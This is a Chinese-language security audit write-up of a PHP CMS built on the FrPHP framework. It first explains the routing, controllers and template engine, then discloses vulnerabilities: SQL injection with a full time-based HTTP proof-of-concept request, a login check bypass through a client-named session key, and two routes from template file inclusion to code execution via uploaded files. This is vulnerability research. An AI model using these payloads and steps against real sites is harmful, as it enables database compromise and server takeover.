测试的CMS版本号是多少请问
前言
本文分为通读部分 和 漏洞部分 通读部分个人感觉写的还不怎么完善,师傅们见谅,可以直接跳到后面的漏洞部分看:)
通读部分
序
这是一个简单的MVC架构的CMS,开发者使用了他自己开发的一套框架—FrPHP
- 大致目录结构
A:存放后台的控制器 模板 插件等
Home:同上,存放的用户相关的控制器和模板文件
Conf:配置文件目录
Frphp MVC框架目录
其他的要么里面没啥,要么一看就知道的
Index.php
定义了一些常量然后包含了 FrPHP框架中的Fr.php 跟进
可见其定义了一个FrPHP类(25行)然后包含了 config.php
我们继续跟进看看config.php里面有什么 数据库连接的配置文件(这边是我安装完之后的源码)
我们继续回到刚才的FrPHP类 看看构造函数
又是定义了一堆常量。这边大多数常量都能看名字知道个大概。我们用动态调试跑一下看看常量具体值。
具体就是这些
这边59-71行(Fr.php)对一些文件进行了包含。我们继续跟进。
/common/Functions.php
这里引入了FrPHP框架的公共函数库
/CONF/Functions.php
这边引入了项目的公共函数库(主要是一些CMS功能上的函数)
然后遍历/Extend 扩展目录 如果存在文件名称含有”.php“的文件 就包含它。
Arraypage / page 主要是和内容分页相关的函数
compressimage主要和图片处理有关的函数
DatabaseTool 主要和数据库操作有关
DB_API也差不多
FrSession 重写了session 把session存到了redis中
pinyin 是汉字转拼音的
vercode是验证码相关的
还有二维码,phpmailer 阿里,微信支付等杂七杂八的
然后检测缓存文件夹是否存在 不存在就创建
这边 FrPHP的构造函数部分就结束了 然后回到它的RUN方法
90行设置数据库配置
此处没有数据就会给出报错,引导进入安装程序。
这边说到安装就顺便插播下安装这边
开头检测lock文件 否则exit() ,那这边就没有重装漏洞了
这边通过act参数来确定安装步骤
值得注意的是act为testdb这边 是存在sql注入的 不过前提是得找一个任意文件删除的漏洞来把lock文件删掉。。
回到上文
91行检测开发环境
主要是修改报错和cookie的httponly之类的相关配置
92行去除掉字符转义 ,后面作者定义了专门处理接受数据的函数
路由分析
94行开始路由
首先判断是否有开启redis存session的功能 ,有就使用。
下面主要是判断请求有没有session_id没有就给客户端设置一个
131-135行
获取指定要访问的页面,这边对url做了个url解码
我们动态调试下看看参数是啥
http://10.2.91.245/index.php?XDEBUG_SESSION_START=10062
137行开始从缓存中读取系统配置,没有就去数据库里找(M(’sysconfig’)→findAll())
我们看写下getCache函数
传入$str 经过 $s = *md5*(*md5*($str.'frphp'.$str));
拼接变成缓存的文件名
然后639行拼接路径 640行检测缓存文件是否存在
643-646检测文件时间 获取缓存内容 之后判断缓存时间是否超时 超时就删掉 不超时就返回
回到上文路由处理,首先会从缓存中获取配置
没获取到缓存文件就从数据库中找 找到后设置缓存。 获取到了就从缓存中读取。
然后判断是否设置了wap 为1 默认为0
然后对$url($_SERVERS['REQUEST_URI'])进行替换 路由到wap页面
继续往下走
这边开始引入自定义路由 先设置了个route_ok变量为false
这边先判断 open_url_route是否为真 这个常量是一开始构造函数中获取一大堆常量的的地方获取的
为1
随后包含了Conf/route.php文件将返回值传给$open_url_route 我们跟进去看看,返回了路由匹配规则这边配合注释看
return [
/**
['正则url','系统内真实链接','传输方式POST/GET,或者为空,则表示POST/GET都接收']
如果有多条匹配,默认第一条有效
demo:
['/\/base\/([0-9]+)\.html$/','Home/test/id/$1','GET'],
['/\/xbase\/([0-9]+)\/(\w+)\.html$/','Home/test/id/$1/sq/$2','POST'],
['/\/test_([0-9]+)\.html$/','Home/test/id/$1','GET'],
['/\/abc\.html$/','/shangpin.html',''],
**/
//以下规则不可删除,否则会报错!
//http://demo.xxxxcms.cn/Home/screen/molds/product/categories/3
['/^\/screen-(\w+)-([0-9]+)-(.*)/','Screen/index/molds/$1/tid/$2/jz_screen/$3',''],
['/^\/searchAll(.*)/','Home/searchAll','GET'],
['/^\/search(.*)/','Home/search','GET'],
];
然后遍历$open_url_route 进行匹配
如果$url($SERVERS['REQUEST_URI'])匹配到了数组中的第一个项目中的正则 就把结果返回到$matches变量里面 然后将$url变量置为数组中的第二项(即系统内的真实连接)$method变量赋值为数组中的第三项(即传输方式)如果匹配到了之前$open_url_route 返回的三个数组中的任意一个 那么$route_ok将会变为真 然后退出循环
我们看下变量情况
随后如果匹配到了 就会对$url变量中的$1 $2 等进行替换。
不过我们正常访问时是没有触发上述匹配规则的 暂时不看 我们继续往下走
第18行
$position = strpos($url,'?');
if($position!==false){
$param = substr($url,$position+1);
parse_str($param,$_GET);
}
这边显然是对请求url进行分割获取?后面的内容 是一个提取参数的过程 然后用parse_str
函数把查询到的字符串解析到变量数组$_GET里面
然后继续往下走 程序开始去除二级目录 过滤$url字符 将过滤后的$URL 定义到常量里面
设置默认的控制器(HOME) 和方法(jizhi) 获取模板 并加入常量
我们跟进看看format_param.这边很显然 通过传入值 和过滤类型来对字符串进行指定过滤,过滤其实还是蛮严格的
function format_param($value=null,$int=0,$default=false){
if($value==null){ return '';}
if($value===false && $default!==false){ return $default;}
switch ($int){
case 0://整数
return (int)$value;
case 1://字符串
$value = SafeFilter($value);
$value=htmlspecialchars(trim($value), ENT_QUOTES);
if(version_compare(PHP_VERSION,'7.4','>=')){
$value = addslashes($value);
}else{
if(!get_magic_quotes_gpc())$value = addslashes($value);
}
return $value;
case 2://数组
if($value=='')return '';
array_walk_recursive($value, "array_format");
return $value;
case 3://浮点
return (float)$value;
case 4:
if(version_compare(PHP_VERSION,'7.4','>=')){
$value = addslashes($value);
}else{
if(!get_magic_quotes_gpc())$value = addslashes($value);
}
return trim($value);
}
}
其中传入1时还会再进行个SafeFilter
跟进查看
这边显然是对xss和xml非法字符的过滤 字符串若被匹配到 就会替换为空。可以双写绕过
//过滤XSS攻击
function SafeFilter($arr)
$ra=Array('/([\x00-\x08])/','/([\x0b-\x0c])/','/([\x0e-\x19])/','/script(.*)script/','/javascript(.*)javascript/');
$arr = preg_replace($ra,'',$arr);
return $arr;
继续回到路由那边,我们进入get_template()看看
首先获取网站配置 然后检测是否安装插件(`if($webconf['isopenwebsite'])`)
随后判断是否是手机版 不是就返回($webconf['pc_template'];
)默认为 default
回到路由
获取到模板后将其设为常量
后面的内容作者也有许多注解,主要是对url做一些字符串处理,提取出其中的相关内容(要访问的控制器,访问的方法名之类的)
这边将从url中提取到的控制器名 方法名存入到$controllerName $actionName变量之中
继续往后看 作者这边注释的是判断插件中是否有对应的控制器和方法
通过 252行 将路径拼接 然后检测是否存在相应的类 和方法(253行)
如果不存在就从系统默认的控制器里面找(257行往后),如果还找不到就设置为默认的控制器和默认方法
随后将控制器名 方法名 放到常量里面
随后将get post 来的参数传到$param变量中
随后从数据库中调取 hookconfig (如果有配置的话)如果有就实例化config中对应的类调用类方法并传入$param参数,用于外部参数传入控制器前进行对$param的自定义修改。
随后实例化要调用的的控制器类 调用类方法 传入$param(存放着GET POST获得的数据)变量
这边实例化类时传入了$param 调用类方法的时候也传入了$param
我们先看实例化的类 每个控制器的父类Controller
构造函数接受一个参数$param (之前实例化控制器类时传入了$param变量 用在此处)
把$param传给类 _data的属性
_data 这个变量会在 frparam()方法中调用(commonControler),该方法也是后面各个控制器中获取过滤后数据的方式。
frparam方法 如果不传值 那么将会返回原始数据(69行)
如果传值那么数据最终将进入format_param方法,前文也提到过,经过此方法会对数据进行安全过滤。
接着我们看另一个传参方式,直接把未经过过滤的参数$param丢到类方法里去了
$dispatch->$actionName($param);
所以这边理论上只要找到控制器里有接收参数的方法函数能传入不安全的数据。
至此,路由过程结束。
控制器
控制器的结构大概为
Controller 父控制器—>(继承) commonControler(二级控制器,主要用于鉴权的)—>(继承) AdminController ...... 各种功能控制器
Controller
主控制器
前面29-31行 将相关的控制器名 方法名 传入参数赋值给控制器的属性
然后实例化一个视图类(View)供渲染用然后调用_init()方法
__set()魔术方法,这个主要是渲染模板的时候用的
__set( $property, $value )` 方法用来设置私有属性, 给一个未定义的属性赋值时,此方法会被触发,传递的参数是被设置的属性名和值。
display()用来调用render渲染 后面的渲染器会说
frparam()
用来接收参数的 这个上面说过。
CommonController (admin)
继承自Controller 普通用户和admin用户各一个 CommonController 用来鉴权的主要是。
首先看admin的部分 放在了_init()里面,从刚才的父类看,每次调用控制器都会执行这边的。
通过判断session里面是否设置了admin键 或 看session[’admin’]里面设置的id是否为0等条件判断是否登录
符合就跳到登录
通过对session[’admin’][’paction’]等内容进行判断,用于对单个功能的权限的判断
CommonController (user)
这个是用户控制器的一个鉴权流程。这边注意到45行只要SESSION里面设置了memeber 46行就将其状态islogin设置成了true。这个后面的注入漏洞会用到这个来绕过登陆限制。
普通的控制器
要有用户权限的控制器就继承各自的commonController,不要鉴权的直接继承Controller.
直接继承Controller的还需要再写个_init函数补全配置 模板等相关信息(原本应该commoncontroller里面做的)
渲染器
类 View
下面是作者给出的每个函数的大致作用,下面逐个细看。
渲染器对象会在Conttroller中实例化,供后面控制器调用
构造函数需要传入控制器名,方法名并全部取小写
assign()
一个赋值的。
Controller 下的一个魔术方法set()会调用这个函数。当调用类的新的属性时就会调用set魔术方法
例如
demoController (extends Controller )
$this->abcd = "123"
这个时候就会调用__set然后再调用assign传进模板类里的$variables 变量里面供后面使用
public function assign($name, $value)
{
$this->variables[$name] = $value;
}
这个具体干啥后面会说
render()
传参一个 $name变量 从后面的路径拼接可以看出来这边是模板文件的文件名。如果$name中含有@标识,那么就不会进行拼接 只会把@去掉 然后检测模板文件是否存在 存在就送到template()函数里面去。
template()
该函数用来解析模板
80行extract函数将$this->variables
中的保存对键值对转存为 变量(变量名⇒值) 供后面包含文件时填掉模板文件里面的变量。这边就是刚才谈assign的作用,将变量存到variables 中 供有些模板(严格来说是缓存,缓存时模板将自定义标签替换成php文件后的样子)中的php变量用。通过代码最后的 include就能把这些变量传到模板里去了。
后面预先定义一个缓存文件名 然后来两个if判断 一个是判断是否是debug模式 该模式下每次都会重新写入缓存文件 。第二个判断 如果检测不到缓存文件,就写入缓存文件 然后187行再做一遍检测看之前的写入有没有成功,没成功则报错。最后112行进行包含模板文件的操作。
我们回到上面写入缓存文件的步骤详细看看。
if(APP_DEBUG===true){
$fp_tp=@fopen($controllerLayout,"r"); //打开模板文件
$fp_txt=@fread($fp_tp,filesize($controllerLayout)); //读取模板内容
@fclose($fp_tp);
$fp_txt=$this->template_html($fp_txt); //把模板内容传入template_html()函数
$fp_txt = "<?php if (!defined('CORE_PATH')) exit();?>".$fp_txt;
$fpt_tpl=@fopen($cache_file,"w");//写入缓存文件
@fwrite($fpt_tpl,$fp_txt);
@fclose($fpt_tpl);
template_html()
这里面对定义的模板文件标签进行替换成php代码
随便找个模板文件看下就大致明白了
剩下的也没啥了
template_html_include
用来解析模板里有包含文件就调用这个
check_template_er
检查标签是否错误的,这边报错会泄露绝对路径,不过要改模板得后台配合跨目录上传才行所以这边也没啥用
还有个 template_html_screen
用来列举内容的 反正我没看懂。。。。
渲染器部分大概就说到这
模型(Model)
控制器中实例化模型类用M()来操作。然后在调用模型类下的各种数据操作方法 Find Delete 等
调用模型类时会首先去Home(Admin)文件夹下的m文件夹下找模型类(如果用户定义了的话)没有则实例化FrPHP\lib\\Model
的一个单例类
Model类
这边的数据操作方法基本都会调用预处理的函数 来获得要操作表中定义了的字段名,然后删除掉$row中的无关项,防止$row中的无关字段被带入
漏洞部分
前台SQL注入1
程序在接受参数实例化控制器调用控制器方法时关于接受外部传参有两种
一种时实例化类时传入
$dispatch = new $controller($param);
然后将变量变为类属性 this->_data
而后通过自定义的 frparam()方法获取过滤后的安全参数
还有一种就是当方法需要传参时直接将参数传入
$dispatch->$actionName($param);
此种传参方法没有经过过滤。
所以只要找到前台控制器中 有形参的方法,且存在SQL语句执行的方法即可造成SQL注入
位置 Home/c/Homecontroller murl()
可见ID传入后未经过过滤带入SQL语句执行造成注入
同理 其他控制器中也存在同样的问题
A/c/indexcontroller murl()
代码同上一样
A/c/indexcontroller html_classtype()
A/c/indexcontroller html_molds()
同时部分方法若只在类中调用请设置为私有方法
前台SQL注入2
漏洞存在点
HOME/c/commentcontroller
代码段
frparam()函数为接受任何参数,默认返回未经过转义的字符串
116行带入数据库进行INSERT操作 54-116行之间对$w数组中的传参重新使用frparam过滤,覆盖$w变量之前未经转义的数据然后将$w数组带入add()中操作jz_comment的数据库
add()在执行前会先进行预处理 将jz_comment表中的字段与$w数组中的键名进行对比,若不在字段范围内则删除$w中的值。然后带入数据库执行SQL语句
此处未考虑到外部可以传入未对参数进行frparam()转义 而表jz_comment中存在的字段名 id
此时传入id则不会受转义 过滤影响 导致sql注入
poc(注:每次传入时 图中8113处对于ID字段值 该值为不允许重复,每次使用需更换)
POST /comment/index.html HTTP/1.1
Host: 10.2.101.24
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=2krod2hbsn95ka3b2hdpfreoh2;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 116
go=1&body=123123&tid=1&zid=0&pid=0&id=2313','1','0','0','0','123123','1637579899','2','0','1','0');select sleep(5)#;
由于该控制器继承的类在构造时会检测用户登录状态 同时调用时也会判断当前用户是否登录,有些站点可能没开前台用户注册 所以此时要配合前台用户登录检测绕过
前台用户登录检测绕过
位置 A/c/LoginController.php
由于普通用户用于检测登陆状态的控制器检测方法简单加上通过验证码可以自定义存储session的键名 所以绕过了用户登陆状态的检测
位于验证码模块处
追踪Imagecode
此处的传入值可以自定义session的键名
查看commonController类
这边仅仅检测了session中是否有member键名 最终造成了绕过了上文SQL注入时需要登录的限制。
后台文件包含1
linux系统没复现成功
利用点:Home/c/MessageController.php
渲染模板时变量可控
此处的$detailhtml 可以通过后台→扩展管理→模型管理 找到模型标识为message的模型 点击编辑
追踪display函数
当传入的模板文件没有 @字符时 默认在结尾加上html 当存在@字符时则不添加后缀。
然后传入template函数进行渲染
将内容写入缓存 使用template_html解析标签后再进行了包含
由于整个流程没有对传入参数进行检测过滤 可以上传一个图片 然后再利用该处进行包含执行任意代码。
再回到details() 要想触发渲染有一个前提 得有一条知道ID的留言 然后再请求时加上ID为参数可以触发渲染。
渲染前有个判断tid的如果$msg[tid]等于下图自定义栏目的id时就调用自定义栏目的模板传入渲染
留言时不放心可以把tid调大点就行 。
利用:
前往系统设置→基本设置 开启留言自动审核
如果后台没有留言记录 就发一条留言
POST /message/index.html HTTP/1.1
Host: 10.2.85.245
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://10.2.101.24/admin.php/Index/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=2krod2hbsn95ka3b2hdpfreoh2;
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
tid=999&user=maple&title=maple&tel=17825232333&email=asdasdd%40qqq.com&body=maple
上传一个图片 前后台都可,保存路径都一样 我这边拿上传logo处进行的上传
返回路径
前往扩展设置的模型列表 把message的模型进行编辑
设置为刚才图片的相对路径 保存
@../../static/upload/2021/11/23/202111235399.png
去留言处找到刚才的留言 或者找个栏目属性下为空的留言 ID都行
然后前往留言查看
http://ip/message/details.html?id=1
配合SQL注入添加管理员后使用
后台文件包含2
这个操作起来更简单点,利用的是上传模板文件到任意路径。
更改文件上传目录-->上传文件到模板文件夹-->新建栏目并选择相应模板
高级设置 允许上传后缀添加html 后台上传路径改为Home/template/default/message
基本设置中上传Logo处上传一个html 内容为php代码
前往栏目设置 新增栏目 模块选择留言 扩展信息 栏目模板选择刚才的文件 填写相关必须项目创建
创建完成后操作中点击预览 即可